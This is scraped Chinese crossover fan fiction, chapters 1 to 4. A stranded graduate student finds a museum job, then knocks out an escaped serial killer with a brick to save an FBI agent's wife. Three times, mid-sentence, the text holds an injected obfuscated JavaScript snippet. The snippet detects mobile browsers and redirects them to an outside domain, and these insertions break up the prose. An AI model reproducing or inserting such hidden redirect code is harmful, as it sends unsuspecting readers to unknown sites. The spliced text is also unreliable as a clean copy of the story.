《[综英美]都说了她是名侦探》 1. 第 1 章 在房东这一家被国税局查了的时候，刚刚返校去拿了毕业证书的安晓，还是处于一个‘我是谁我在哪’的状态。 怎么回事？ 亚裔女孩眼睛睁得像猫一样圆，能让各种课业成绩都达到A的优秀大脑在这会儿还是运转不能。 震颤着的琥珀色的瞳孔还迎着上午时分明亮的阳光，本来浅色的瞳孔在这一刻看起来更像是金色——这样的眼睛就怎么看着骂骂咧咧的福珀先生伸手捉住了置物架上的奖牌。 啪。 咔嚓。 那是福珀先生在公司团建里靠高尔夫比赛拿到的第一名时拿到的奖牌，边上还摆着团建的照片。 实木的奖牌框有着沉甸甸的一份重量。 “……别。” 她呢喃着，心里爆发出尖锐爆鸣。 ——别啊房东大叔你是我的亲房东行不行，冷静点别动手啊啊啊！！！ 第一次面对这种阵仗的安晓在心里尖叫着，伴随着一旁福珀夫人真正发出声音了的尖叫，她看见房东先生奖牌砸到了那位国税局特工的脑袋上。 一道细长的血痕从额头上滑落下来经过眼角。 安晓想，完了。 本来房东偷税漏税还有行贿的问题勉强还能称得上不至于捅破天，那么，殴打国税局特工会被怎么算？ 怎么会有人能蠢成这样！！！本来还以为房东一家各个都是心大的，但是也不能这么打啊！！！ 心大，但是敢漏税和受贿。 心大，还敢打公务员。 哈。 注视着未来一片灰暗的房东，安晓可怜的心脏哆哆嗦嗦要碎不碎，在往下掉渣。 “你是住在这家的留学生是吧。” 有一位探员走过来，她指了指上去的楼梯：“你可以去收拾你的行李了，早些去订酒店吧，需要帮忙向学校沟通申请宿舍吗？” 好心，但是不用。 安晓的脸看起来更苦了。 ——我昨天刚拿到毕业证，申请不了宿舍了啊。 她想到自己还没出申请结果的实习岗位，还有很显然没办法继续住下去的房东家。 穿越第三天，安晓就这么在一片鸡飞蛋打中，喜提流浪街头的成就。 可喜可贺，可喜可贺。 眼睛里倒映着探员们来来往往在给房子里面各种物件装袋贴封条的动作，她扯了一下嘴角，露出几乎要哭出来的笑。 人倒霉起来可以到什么地步呢？ 这个问题，现在的安晓可是绝对有资格来回答的。 比如说，可能会穿越。 前一晚倒霉催地一脑袋撞上了路口不知道什么时候安装的电话亭，转头第二天一早睡醒睁眼，就发现自己所处的寄宿家庭的客厅地图上，有了一点儿微妙的变化。 眼神好记性好是安晓引以为傲的优点，也因此，房东家里面地图的变化也没能逃过她的眼睛。 大都会，哥谭，中心城，星城…… 多出来的某些不该存在在现实地图上的城市名称，戳着安晓那会儿还有点敏感的神经。 对于一个对这类题材有点兴趣又不多的小姑娘来说， 会不会是恶作剧？ 但福珀先生成天忙着应酬酒会，压根不会管家事，福珀夫人天天约她的姐妹去下午茶，美甲长到能在人身上戳三个窟窿眼，更不会去干替换地图这种累活儿。 这个家里唯一一个年轻孩子上周刚去夏令营，时间也对不上。 安晓还能想起来自己当时是以怎么样僵硬姿势回去房间里面的，打电话给自己为数不多的几个朋友，假装不经意的提起来一些话题去试探，最后有把那些不好的预感变成现实。 哥谭有个首富是真的，大都会关于超人的新闻哪怕是在国内也能时不时上个热搜。 地图上看不出来那些事情，比如说纽约那边，复仇者大厦刚刚完工的新闻也被安晓给刷到。 尖叫着要命的同时，安晓还庆幸着，好歹自己身边认识的接触过的人事物还是记忆中的那样。 就好像…… 说成穿越又并不切实，而是属于超级英雄的那个世界无缝融入了原本她所生活着的世界之中，然而又只有安晓自己记得原本世界的那些。 花了一整天的时间泡在网路之中，哪怕会有‘这个世界上没有超级英雄’的帖子，那也基本都是针对于阴谋论者，天天叫嚷着超级英雄都是当局的谎言，长篇大论都是些没意义的废话。 不然就是各种论坛体上的假设，如果世界上没有英雄会变成什么样子的发言倒是比比皆是。 嗯，和安晓现状完全没有关联呢。 选择暂时回避网络不去看那些消息，安晓又检查了一下自己周遭，依然是偏心的爸偏执的妈，半破碎的家庭没钱的她，倒也没有因为世界变成大杂烩而有什么变化。 说不上自己的现在到底是个什么样的心情，反正是完全不耽误安晓第二天收拾一番去那毕业证的。 来留学本来也不是出于安晓自己的意愿，但总归超级英雄什么的离普通人的世界观还是很远，抱着要碎不碎的世界观，安晓本来是打算顺其自然就这么继续生活下去的。 房东家被国税局抄了是在意料之外，现在想来其实也在情理之中，虽然福珀一家人性格都还蛮不错的，不然也不会跟她这个异国他乡来的留学生相处了四年——安晓不太擅长社交，但又在熟人面前是个人来疯，慢热的性格在这个家里倒是相性不错。 在安晓拖着沉重的步子准备去拉行李箱的时候，福珀先生被扣上了手铐押着，他突然出声：“我没想过会这样。” 对我说的吗？ 安晓茫然，扭头看他。 福珀先生只是扯了扯嘴角，没再说话，脸颊上的肉都松垮垂了下来，拖出长长的法令纹，疲态让他整个人都变得陌生起来。 收拾房间的时候，一位女性探员在房间盯着安晓的动作，这让她有些不太自在，好在探员性格还算和善，对俨然遭了无妄之灾的可怜小留学生还有点‘怜惜’在。 她说着一些可以透露出来的信息，帮助安晓解惑。 那位福珀先生偷税漏税也就只是这两年的事情，受贿也更是最近一年才开始做。 可能是最开始的时候很顺利，渐渐地，渐渐地，手里累积下来的资产麻痹了他的心和感官，以至于胃口越来越大，甚至动了公司和市政项目中的资金，最终结果就是在今天爆发。 安晓‘啊’了一声，慢吞吞应和着：“他们一开始很好的。” 最开始不是没想过住留学生宿舍，但和室友们的相性也属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510129|186157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于偏于玄学的概念，性格实在是融不到一块儿去，安晓在第二个学期的时候就退了宿舍，拿着并不够多的生活费和端盘子攒下来的工资，想要在华府租一个便宜的房间。 福珀家那会儿还不像后来那么有钱，带着花园后院的房子是祖产，他们想着，或许可以把房间租出去来抵掉一部分保养维护屋子的花销，于是安晓来了，就好像这个家的第二个女儿，虽然沉默寡言，但是仿佛东方人特质的内敛温吞也让福珀夫人觉得欢喜。 变化是潜移默化的。 再后来，关系似乎又从熟稔变得有些远了，但表面似乎还维持着最好时刻的模样。 有时候安晓也会在想，是不是自己在亲友缘分这一块儿特别薄弱，等以后回国想找个好点儿的大师算一卦。 只是在算卦之前，这世界先变了。 拎着行李箱站在了恨不得连一棵杂草都贴封条装进证物箱的小花园里面，身后屋子的门上也都已经贴了个严实，安晓开始思考人生。 短时间周转的话，住在酒店也不是不行，但是自己的实习工作申请还没得到批复，万一后面一时半会儿搞不定工作问题，要找一个长期安稳的住处就成了当务之急。 然而，安晓穷，很穷。 穷得在发现这个世界变奇怪了的当天，心里就暗戳戳思考过怎么样才能碰瓷下纽约或者哥谭的那两位阔佬，只可惜她在华府，而出行的车票也都是要钱的。 奈何心里再怎么狂飙，安晓外在习惯表现依然是个温吞不善言辞的，想了一大圈之后，她开始问自己打工地方的餐馆老板哪里还缺兼职打工仔。 出国本身并不是安晓的意愿，父母因为出轨问题分居之后，父亲带着同胞的哥哥走了，妈妈则是带着自己在讨生活。 妈妈说，我们不靠你爸也能获得比没良心的父子俩要有出息。 偏执要强的来自于亲缘的压力几乎压垮了安晓的脊梁，初中开始就直接被送进去了国际学校，随即来美国留学，只是不是单亲胜似单亲的家庭状况并不能支撑安晓只专心学业的生活。 留学期间打工也还受着工时的限制，攒下来的钱并不算多。 后续考研之类的事情已经不在安晓现在的考虑之内，世界都变了但是家还是老样子，安晓知道她总得要想办法把自己在美国给安顿下来，不然回国的话…… 妈妈大概会失望吧，因为她还是没能在失败的婚姻里面再争回一口气。 至于实习工作。 想到自己发出去的邮件，安晓又拿出手机刷新了下邮箱，目前还没有回复。 这几天的时间太漫长了，以至于当时发出邮件的心情似乎都被模糊起来，像已经过去了很久。 安晓也知道自己一个本科生的身份，去争杰弗逊研究所博物馆的岗位有点勉强。 只是她还从来没能为自己争取过什么，至少这份工作，安晓还是想要努力一下。 又看了眼自己的余额。 安晓幽幽叹了口气。 ——先打工吧，实在不行再考虑是碰瓷哥谭阔佬的车方便，还是碰瓷纽约铁人的战衣方便。 嗯，可行性来说应该是哥谭。 毕竟那位是会开车的，纽约那位飞来飞去没啥机会。 口头花花但是完全没有胆子的安晓如此想到。 2. 第 2 章 只能找附近的旅馆暂时入住，以平均半小时拿起来手机刷新下邮箱的频率，再以平均一小时一次的频率计算怎么才能让自己的余额最大化的使用，安晓艰难踏入了梦乡。 或许是幸运女神终于想起来还有这么个小可怜的存在，抱着或许是这个宇宙里独一份的清醒意识的安晓，终于等来了一个‘好消息’。 两天过后，她接到了来自房东家的电话。 夫人问安晓，你要不要还回来住？ “朱利安夫人，还好吗？” 回来这栋屋子的安晓还抱着一大袋子的面包，她今天找的兼职是在一家甜品自助店里面，打烊后没卖完的那些面包蛋糕可以让打工生们带走，安晓原本再怎么会不好意思，现在也不会跟自己空荡荡的胃袋客气。 她看着朱利安·福珀，这位夫人看起来还有些茫然和憔悴，但是整个人还保持着她两年以来已经成了习惯的体面，强撑起来的笑在看到安晓这个熟人的时候，才悄然松垮下去一点。 “晓，抱歉得让你出去住这么多天。”朱利安夫人叹着气。 上个月刚把这个季度房租给交掉的安晓有些尴尬地扯了下嘴角。 她其实这两天是有些想要把房租钱给要回来的，但是想到福珀家现在这样儿，又有点不好意思开口，一来二去的纠结着就到了今天。 如果没接到朱利安的电话，安晓其实能一直纠结到把这件事不了了之。 而现在，对方说自己还可以继续住下来。 哪怕这栋房子空荡到能开二十家正新鸡排，安晓都觉得再回来住是个好主意，毕竟重新找房子的时间成本金钱成本都太高了，不是安晓现在能轻松负担起来的部分。 花了点时间，安晓总算是迂回了解清楚了现在福珀家到底算是个什么情况。 因为房子每年的房产税都是正常在交，房子本身倒是保留了下来，只是这两年里面，福珀先生带回来的那些艺术品还有他买给朱利安的珠宝首饰都被收走了。 本来只要把税补进去罚完款，再找个好点的律师，应该还是可以免掉牢狱之灾。 问题就在福珀先生打了国税局的探员…… 保守估计要蹲五年以上的局面，让朱利安如今也是孤身一人。 她原本在夏令营中的女儿成绩犹疑，也不该在高中的这个时刻放弃学业，朱利安咬咬牙，把她送去了自己的娘家，自己的父母还有精力能管教好那个青春期浮躁的姑娘。 本来自己也想直接回家去住，但又不甘心自己已经经营了十几年的家就这么空置就这么落灰，朱利安还是回来了。 偌大的空荡荡的房子里面，突然就只剩下自己，不知道如何是好的时候，她也后知后觉想起来，这个家里本来还有一个小房客的。 “我正好也在想后面住处的问题呢，朱利安夫人，要是能回来的话也再好不过啦。” 或许这位夫人也是有些忐忑的，她远离这样带着期盼对待谁的生活已经很长一段时间，这会儿对待安晓，也放柔和了语气。 安晓顺其自然地把话接了下来。 住习惯了的地方当然更好，不过在重新安顿下来之前，安晓认为她们需要先吃些东西。 最基础的原本的家居用具都还在，安晓想，朱利安夫人这会儿应该更需要些热食。 “我来就好。” 安晓把自己的背包放下。 顺手带过来的那一袋面包里面，她拿了几块厚吐司，抹了黄油放进平底锅里，一边把加了茶包的凉水塞进微波炉里，热了两杯英国人看了就要叹气的红茶。 简陋到华人留子都不忍直视的晚餐就这么被端上了桌，但至少这是热气腾腾的，朱利安夫人这才在馥郁升腾的面包香气里面松了口气。 安晓咬着吐司煎得脆脆的边缘，歪头看着突然两只手捂住脸的朱利安，想了想，伸手拍了拍她的肩膀。 ——我总是说不出来什么安慰的话。 小姑娘有些沮丧的想着。 “谢谢你，朱利安夫人。”最后，她才憋出来这么一句。 这份感谢的心情是真的，能到自己安心的地方继续生活，安晓也没什么别的更贪心的地方了。 至于房子布置比以前简陋？ 这些硬件问题都不是问题，这方面安晓的适应性还是很强。 听见房客女孩突如其来一句道谢，朱利安无奈失笑，她良久才叹了一声气：“你还是这么贴心，晓。” 贴心？我吗？ 安晓一脸茫然地稍稍睁圆了眼睛，等了两秒，却没等到眼前夫人接下来的话，又继续低头嚼嚼嚼。 - 这栋房子没什么特别需要收拾的地方，国税局路过，就差寸草不留，还省掉了额外打扫的功夫。 两位女士只是互相搭着手挪了几件大件的家具，让这栋屋子显得不会空旷的厉害。 朱利安夫人自己本身并没有很多的积蓄，虽然艰难，但她也重整了心情，开始出门去找起了工作。 在等offer的期间，安晓也没停下自己兼职零工的步伐。 今天打工的地点是花店的花艺师，花艺安晓姑且也算是会那么一点儿——感谢You○be，感谢Bi○○li，而她的手也的确很巧，包扎起来的花束还挺受欢迎。 处理出来的瑕疵品花枝经由店长的首肯被带了回来，安晓从二手市场带回来一个远看文艺复兴近看儿童瞎画的花瓶，放在窗台上用以装点这个家。 房东夫人之前吃高档餐厅更多，现在为了节约生活成本，也开始试着做起了晚餐。 连着又是三天没什么味道的白人饭之后，安晓难得主动提议她可以负责做饭。 华人似乎在厨艺上有着某种刻在基因里面的天赋。 安晓做饭不算顶尖，但是和白人饭比起来也是色香味俱全。 吃着热气腾腾得又熏得眼眶发热的晚餐，朱利安夫人又一次想要感叹，她或许在经历人生的低谷，但至少她还是做了一个对的选择。 原本就只是租了房间出去而已， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510130|186157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个家里并没有其他需要安晓来负责的事情，这个女孩在认识的这将近四年时间里面总是这么安静，但现在，她的陪伴沉默又温和。 晚餐时总会出现的那一杯热茶，早上桌子上也会有温热的早点。 就好像说了‘我可以负责之后的晚餐’之后，关照着这些日子里没能帮上任何忙的房东就成了理所当然的事情。 明明自己也都是可以当她妈妈的年纪了，却成了被关心的那个。 朱利安说，晓，你其实可以不用为我这么费心的。 小姑娘很擅长用她那张看起来就是未成年的脸来应对问题，遇见一时理解不了的话语时，安晓眼睛总是会变成圆圆的样子，有点儿想朱利安小时候养过的猫。 并没有感觉自己有费什么心，早饭想吃奶香炒蛋，鸡蛋都还是朱利安昨天去超市抢到的打折鸡蛋，自己只是早上开了个火而已，安晓只是抿着嘴唇，低头扒拉了一下碗里的炖蛋，嚼嚼嚼。 这个饭啊（嚼嚼嚼）怎么就这么好吃呢（嚼嚼嚼）我去复仇者大厦楼底下卖中式快餐（嚼嚼嚼）会有从天而降的阔佬宣布承包我的摊子吗（嚼嚼嚼） 魂飞天外的女孩在心里发表了这些天来第八十一个把手放进钢铁侠钱包里暖暖的计划，想玩之后，心满意足地抹抹嘴巴，准备去洗碗。 今天的朱利安却格外有魄力地拍了下桌子，说，今天的碗她来负责。 不愧是原来当混过贵妇圈子的人，真的很有魄力！ 就是看着朱利安还没卸掉的超长美甲，直到听到十分钟后的‘砰咔擦’和女性尖锐的‘啊啊啊’的惊叫之后，安晓才有一种‘啊我就知道’的诡异安心感。 默默在心底扣了个1请求原谅之后，拿着小扫把和小簸箕的安晓，出动。 第二天，朱利安挥别自己镶了水钻的美甲，她似乎彻底和那个享受了两年富贵日子的夫人剥离开来。 感觉很陌生…… 以及，久违了。 而对于安晓来说，穿着重新变回了舒适朴素风格的朱利安夫人，也影响不到生活本身太多。 一个白天出去找工作，一个白天到处兼职打零工，晚上一块儿吃晚饭，再看看晚间新闻，倒也默契和谐。 朱利安搂着身旁小姑娘的胳膊，这样一块儿生活的节奏，倒是让她们关系亲近不少。 她指着新闻里面有着黑发蓝眼睛的男性说道，之前她丈夫最风光的那段时间，还和布鲁斯·韦恩谈过生意呢！ 韦恩先生可比新闻里拍出来的要英俊得多。 看着新闻里面带着黑框眼镜平平无奇在采访韦恩的记者，安晓咔擦咔擦嚼着自己烘烤出来的吐司脆边，又看了眼新闻台右上角图标。 她猜这个记者应该是自己想的那一位。 在记者最后一句‘以上，星球日报克拉克·肯特报道’说完之后，她给自己打了个一百分。 还是带小红花的那种。 ——我果然很聪明。 安晓决定奖励自己一句夸夸。 3. 第 3 章 现在的世界到底算是穿越还是世界融合？ 虽然很好奇这个问题的最终解，但新闻头条里面超级英雄又打败了哪些超级坏蛋，也不过就只是日常生活里面的一部分增色。 安晓只觉得终于收到了offer的此时此刻，才是这份世界上最重要的时刻。 杰弗逊博物馆的岗位！那可是杰弗逊！！ 她简直憋不住自己想要尖叫的心情，最后只是把脸埋进了被子里面发出了沉闷的声音，连着左右打了十几个滚才算勉强冷静下来。 “我进杰弗逊博物馆了！！” 安晓说，“我简直是这个世界上最幸运的本科生。” 如果是研究所的实习生岗位，那她在初筛的时候或许就会被直接给筛出去，那里可是从学历到专业都要求得严格得不得了的地方，博物馆相对来说有些岗位要求会‘宽松’一些。 这个宽松也不过是相对而言，安晓知道自己能够进杰弗逊，还有点儿自己过目不忘的能力加成在里面。 记性好和是不是天才却是无关的两件事情，她也知道自己只不过是很幸运地拿到了考古学导师那边的推荐名额，他说她可以试着过去面试看看。 杰弗逊博物馆经常会举办各种类型的文物展览，安晓得到的是博物馆的讲解员岗位。 安晓忍了一会儿还是没能忍得住，在自己的社交软件上连发三条表示心情激动的表情包。 “那个杰弗逊研究所吗！” 朱利安听她说实习工作确定下来的时候，也由衷替这个女孩感到开心。 “是博物馆，研究所是另外的部门。” 安晓解释道。 不过自己之所以把杰弗逊博物馆的实习岗当做目标，也有着一点点的私心。 “我有朋友在杰弗逊研究所里面实习，有熟人在的话，中午我就有人可以约着吃午饭了。” 安晓是个非必要不会轻易踏出舒适区的性格，在和自己为数不多的朋友之一提起自己可能要去杰弗逊博物馆面试之后，她那位朋友就表示了百分之一百二十分的欢迎，并且以百科全书的方式给她科普了杰弗逊研究所的所有好处。 强调了两次自己去的是博物馆而不是研究所之后，安晓得到的就是‘那也是在同一栋楼里面’的回复。 ——好像确实是不错。 她格外欢快地向好友分享了这个好消息。 前两天朱利安也重新找到了工作，在一家建筑公司干出纳，那是她生孩子之前做过的工作，只可惜已经离了那份环境许久，也就只有这家刚成立没多久的小公司愿意用她。 说着最近终于有好事降临，朱利安说，等她晚上下班回来之后，她们可以好好庆祝一下，比如说，久违得下馆子吧。 拒绝不了约饭的邀请，而距离晚上还有很长一段时间，安晓决定先出门给自己买一身更适合工作的服装。 在去附近商场的路上时，安晓还碰上了熟人。 是福珀家隔壁的邻居，不过已经搬走很久了。 “好久不见。” 安晓打了声招呼，她没有对带着孩子的这位女士投以太多的关注，对方也只是匆匆应了一声，就闷头往家的方向走去。 之前她也有从朱利安那边听说过关于隔壁的八卦，那对夫妻原来也是令人艳羡的眷侣，只是后来好像因为丈夫那方的工作问题，夫妻俩现在处在分居状态，孩子跟着妻子那边生活。 当时当八卦听过就算了，现在突然见到对方再想这些也有点儿没礼貌，更别提现在霍奇纳夫人看起来情绪不高。 努力强调着自己别当着人面想什么没礼貌的事情，安晓还是没忍住发散了一下脑洞——是决定要离婚了吗，霍奇纳夫人剪短头发又染成了棕色，算是换个发型换个心情的那种类型？ 只是…… 走进服装店里，拎着一件长裙在试衣镜前比划着，但这还是很难让安晓重新集中起来注意。 ——霍奇纳夫人有点不对劲。 虽然也就只是在门口擦肩而过的几秒钟，放在平时可能早就被抛到脑后去的片刻，这会儿却在安晓脑袋里面反复出现。 这肯定是世界大变样的后遗症。 安晓笃定，她本来不是这种好奇心旺盛到遇见什么都要一探究竟的类型，肯定是最近看新闻上那些超英看多了，激发了她的探索欲。 当然，还有别的可能。 双手抱臂环在胸前的姿势，竖起来的衣领围在下半张脸前…… 没有安全感，而且表情比起‘情绪不高’更像是悲伤。 很在意。 特别在意。 安晓自己都说不清自己现在到底是什么样的心情，放下裙子就往回跑的动作更是格外流利自然，紧迫地就好像身后有什么在追赶着似的。 比如说她才本科的心理学学位在刚刚毕业之后就派上了用场。 嗯…… 希望只是多想了，一个误会总比真的有什么事儿要好得多。 眼看着快要跑回社区门口的时候，安晓就停下了脚步，手链晃晃悠悠从袖口垂落下来，她慢慢走了几步用以平复呼吸。 因为心理因素吧，安晓总觉得自己每踏出去一步，呼吸都会更紧上些许。 脚步顿住，她先把手机从包里掏出来放进自己外套内侧的口袋里面，从丁零当啷的钥匙扣上拆下来一个蝴蝶结形状的伸缩刀片，平时这都是当快递刀和削笔刀用的，姑且也算实用。 把几个东西都塞进口袋最顺手的地方之后，安晓这才感觉自己装备充足，开始继续往前走。 不对劲的根源来自于先前擦肩时的肢体语言，而靠近了之后，她又看出来了更多充满违和感的细节。 最明显不对劲的就是时间。 今天是工作日，这个社区大多也都是中层家庭为主，距离孩子们放学还得有两个小时，距离工薪层的家长们下班还有更久时间。 对方的神情和肢体语言也是佐证之一，开始安晓也不过是猜测霍奇纳夫人是不是家里遇到了难事。 霍奇纳夫人的孩子应该已经是要上学的年纪了吧？ 如果是遇见了难事的话，又为什么会在这个时间点，回来已经很久不住的旧房子里呢？ 没记错的话，以前福珀先生好像在社区的聚会里面提到过，隔壁霍奇纳家那位先生是FBI的探员。 遇到难事的话，直接找警察，又或者是找家里的其他亲朋，哪怕是直接跑去匡提科找FBI找人岂不是更快速度的最优解？ 已经居住过的空荡荡房子，能有什么非回来不可的理由吗？ 安晓也知道自己神经有点过于敏感了，导致碰见什么都想要牵强附会。 明明以前也不是这样子的性格啊。 想起来自己刚来美国的时候，因为实在是怕这里的‘自由风气’，安晓可是遇见人就恨不得绕开十米走，生怕惹上什么事儿。 现在这种主动去探究发生什么事的这种行为，算是好的转变吗？什么时候我竟然性格变这么大？ 大脑转得飞快，安晓晃晃头甩开脑袋里那些杂七杂八的念头。 走过小区里的沙坑游乐区，棒球棍和手套就这么挨着滑梯的边缘放在地上，安晓想了想，走过去拎起球棍挥动两下，最后摇摇头又放下。 手感不行。 孩子们玩抛接球用到的球棍太轻。 安晓弯腰，从花坛边缘捡起来一块板砖。 嗯，这个手感对了。 小姑娘满意地点点头，一只手拎着块结实板砖，一只手揣在兜里，安安静静在没有旁人的小区里走着。 马尾垂在脑后晃来晃去。 她目不斜视，直接走回了福珀家的院子里面，绕道厨房后面的小窗口那边，安晓才踮着脚伸长脖子往那边看。 一楼能够直接看到隔壁屋子的窗户只有这一扇，窗口不大，勉强能够看见对面的客厅。 “……” 安晓对于这个世界的癫又有了一个新的认知。 本来满天超级英雄这种事情就已经很考验她一个普通人的三观底线了，结果原本只以为是普通又愉快的一天之中，她就这么普普通通地看见了一个通缉犯！ 通缉犯！！！ 瞧见那个黑衣男人的侧脸的瞬间，她的瞳孔骤缩，赶在对方视线移过来之前，安晓一个猛地蹲下。 她记得这张脸。 过目不忘的记忆力带来的好处之一，安晓轻易把那张脸和自己曾经无意间见过的新闻台上的通缉令联系到一起。 越狱了的波士顿杀手， 乔治·佛耶。 她记得当时新闻上提到过的关于案件的只言片语，案件是由FBI的行为分析小组告破，只是不久之后凶手就越狱逃脱，至今下落不明。 联想到隔壁那位女士的丈夫是FBI的探员，安晓大胆猜测这应该是寻仇来的。 连环杀手对于和平社会长大的孩子来说威慑力不容小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510131|186157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觑，半吊子的心理水平让安晓能够看出来那个杀手肢体语言中的炫耀和兴奋。 霍奇纳夫人看起来比之前偶遇的时候更紧张了，防御的肢体语言很明显，先前的猜测被落实了几分。 安晓把自己的呼吸又放轻了一些。 她拨打电话的动作幅度都变小起来，安晓打的也不是报警电话，而是直接拨通了FBI的举报电话。 人生在世，我竟然会打FBI电话。 僵着脸想要开个玩笑让自己轻松一下，但显然没什么效果。 真的要这么做吗？ 推开后门的时候，安晓有一次反问自己。 ——我难道还能什么都不做吗？ 这边的房子格局都是一样的。 她可以过去，可以做到某些事情。 借着两间屋子之间的绿化作为遮挡，安晓一路猫着腰窜到了隔壁房子后面。 窗户是向上推开的，没有锁，但是连接了报警器。 安晓赌了一把，这件屋子这么久都没有住人了，报警器应该也不会照常开着——她赌对了。 有着一道拐角和墙作为遮挡，她隐隐能听见前厅的说话声。 轻手轻脚的动作实在不像是刚毕业的四肢不勤的清蠢大学生，肾上腺素分泌过快的缘故吧，安晓从来没想过自己能做到这么灵巧的动作。 拎着板砖，她贴到了墙角边缘，试探着想要往外看。 根据前面在小窗口观察到的布局来看，这里是佛耶背对着的方向。 全程没敢发出半点多余的声音，安晓也听清楚了这边客厅里面的动静，他们在和那位霍奇纳探员通电话。 而谈话的内容比起交涉交易更像是…… 告别。 借着窗户上的倒影，安晓看见了佛耶靠近了霍奇纳夫人的动作，还有倒影之中，他掏出来的枪。 安晓已经记不得自己到底有没有在呼吸了。 连带着逃犯上膛的动作，手指扣上扳机的动作，在眼里都好像成了慢动作的播放。 逃犯沉迷于对电话那头的探员炫耀，炫耀他没能保护好的妻子即将丧命于他的手中，炫耀他的报复有了实质性的成果。 令人作呕。 安晓想。 “砰！” 亚伦·霍奇纳在电话这头听见了震耳欲聋的枪响。 - 安晓发誓，自己绝对绝对要对拿枪的人敬而远之。 好痛。 她嘶地倒抽着冷气，还是不放心，又把板砖往已经嗑出来血的男人的头上砸了一下。 揉着被震得生疼的耳膜，她看向震惊回头的泪流满面的霍奇纳夫人。 “……下、下午好，霍奇纳夫人？” 安晓说。 别说霍奇纳夫人没有回神了，安晓自己都还惊魂未定。 从在墙拐角飞扑而出，一板砖砸到佛耶脑袋上的同时，一只手掰开他已经要扣下扳机的手，及时撞歪的弹道让霍奇纳家的窗户比直接粉碎，枪响更是惊得安晓耳膜隐隐作痛。 和电影上那些不懂补刀的好人不同，安晓看过不少影视剧，对于补刀的重要性更是一清二楚。 完全没做任何考虑地就直接下手又砸了两下，本来还抽搐着要起来的佛耶直接倒地，血蜿蜒着从他脑袋上留下来。 肯定没死就是了。 安晓抿着嘴唇，有些紧张地看着霍奇纳夫人。 “安小姐？” 她喃喃喊了一声，睁大了眼睛还没能回过神来。 ——啥？ 安晓没听清，贴在耳边的枪响现在只余下还没能消去的耳鸣声，她不大好意思地抿起嘴唇解释道：“我刚刚感觉有点不太对劲，所以赶着回来的……” 因为暂时听不清声音，以至于自己说话的生意都放大了不少，这才唤回了对方的神思。 谢谢。 这句话没能及时说出口，更先一步溢出喉咙的是重压骤然解放之后完全无法抑制住的哭号。 欸？ 突然连着肩膀被抱住，肩膀上抵着对方的额头，崩溃般的哭泣声音顺着震动传到了安晓的心底，她试着伸出手，在这位夫人后背上拍了拍。 “没事了，没事了……” 手指还在颤抖着，安晓这样安慰着霍奇纳夫人，也在这样安慰着自己。 没事了，已经没事了，我及时帮到她了。 这会儿安晓才发现，自己其实也是紧张得想哭。 4. 第 4 章 “冷静！霍齐！冷静！！” 枪声过后就是手机被挂断了的漫长忙音，亚伦·霍奇纳几乎将车子油门踩到底。 一路上汽车鸣笛声都此起彼伏，suv冲撞着向前的架势又被手机铃声堪堪打断。 摩根探员的声音几乎每有一秒间隔地传了出来：“海莉没事！霍齐冷静一点！” 知道什么才是最要紧的事情，他一口气把最重要的信息给一口气说完——尖锐的刹车声在路边响起，好半晌之后，霍齐才发出来带着细微颤抖的声音。 “发生了什么，摩根？” 问出来的时候，呼吸都是困难的。 摩根和身边BAU的成员们对视一眼，他们也都赶着上了开往霍齐家的车子，庆幸万幸之余带来的脱力感都让人几乎要拿不稳手机。 他稳了稳声音：“前面举报热线接到了一通电话，被直接转到了我们这边，你家隔壁邻居有人认出来了佛耶，直接打了FBI的举报电话。” 电话是JJ那边接的，她接过话。 “那孩子说看见海莉和佛耶都在屋子里面，觉得不对劲就打电话过来。” 实际那通电话持续的时间很短，短到JJ都没来得及去嘱咐千万不要乱来的话。 声音听起来很年轻的那个女孩在挂断电话之前，语气很轻地在说，情况看起来很不对劲，霍奇纳夫人现在很危险，请尽快过来。 ——我想办法转移通缉犯的注意力。 嘟、嘟、嘟。 电话被挂断地过于干脆，让几个听见电话内容的探员们都惊出来一身冷汗。 那孩子胆子未免也太大了些，她声音听起来也很年轻，青少年，再大又能大到哪儿去呢？ 紧急调了行动小组往那边去的同时，探员们也都在祈祷千万千万不要再有无辜的声音又倒在那个连环杀手的手底下了。 那几分钟的时间被体感拉长，空气凝滞的那段时间漫长到就已经过去了好些年。 手机铃声再度响起打破了沉寂的氛围，接通的那瞬间，每个人的心跳都已经提到了嗓子眼。 “Hello？” “海莉！？是你吗？” JJ的声音都因为意外差点破音，“你还好吗！” “我没事……”听见熟悉声音之后的慰藉感涌上心头，海莉莞尔，她看着地上翻出来电工胶带把佛耶和两把椅子一起五花大绑的亚裔小姑娘，忍不住再重复了一句，JJ我没事。 